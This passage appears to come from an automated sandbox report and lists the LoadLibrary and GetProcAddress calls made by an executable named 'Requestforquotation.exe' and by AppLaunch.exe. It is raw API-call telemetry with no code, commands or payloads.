%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter WindowsCodecs.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter wshtcpip (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\msxml6r.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter wship6.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\msxml3r.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadLibrary" with a parameter URLMON.DLL (UID: 00000000-00003916) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003428) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003428)31:T17fb1,"Requestforquotation.exe" called "GetProcAddress" with a parameter ImmWINNLSEnableIME (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmWINNLSGetEnableStatus (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSendIMEMessageExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSendIMEMessageExA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIMPGetIMEW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIMPGetIMEA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIMPQueryIMEW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIMPQueryIMEA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIMPSetIMEW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIMPSetIMEA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmEscapeA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmEscapeW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetCompositionWindow (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetDefaultIMEWnd (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmIsIME (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmRegisterClient (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetCompositionFontW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetCompositionFontA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetCompositionFontW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetCompositionFontA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetCompositionWindow (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmLockIMC (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmUnlockIMC (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmLoadIME (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetOpenStatus (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmFreeLayout (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmActivateLayout (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetCandidateWindow (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmConfigureIMEW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetConversionStatus (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetConversionStatus (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetStatusWindowPos (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetImeInfoEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmLockImeDpi (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmUnlockImeDpi (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetOpenStatus (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetActiveContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmTranslateMessage (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmLoadLayout (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmProcessKey (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmPutImeMenuItemsIntoMappedFile (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmGetProperty (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmEnumInputContext (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ImmSystemHandler (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmTIMActivate (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmRestoreToolbarWnd (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmHideToolbarWnd (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmDispatchDefImeMessage (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmNotify (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmSetDefaultRemoteKeyboardLayout (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CtfImmGetCompatibleKeyboardLayout (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LpkTabbedTextOut (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LpkPSMTextOut (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LpkDrawTextEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00002972) "Requestforquotation.exe" called "GetProcAddress" with a parameter getJit (UID: 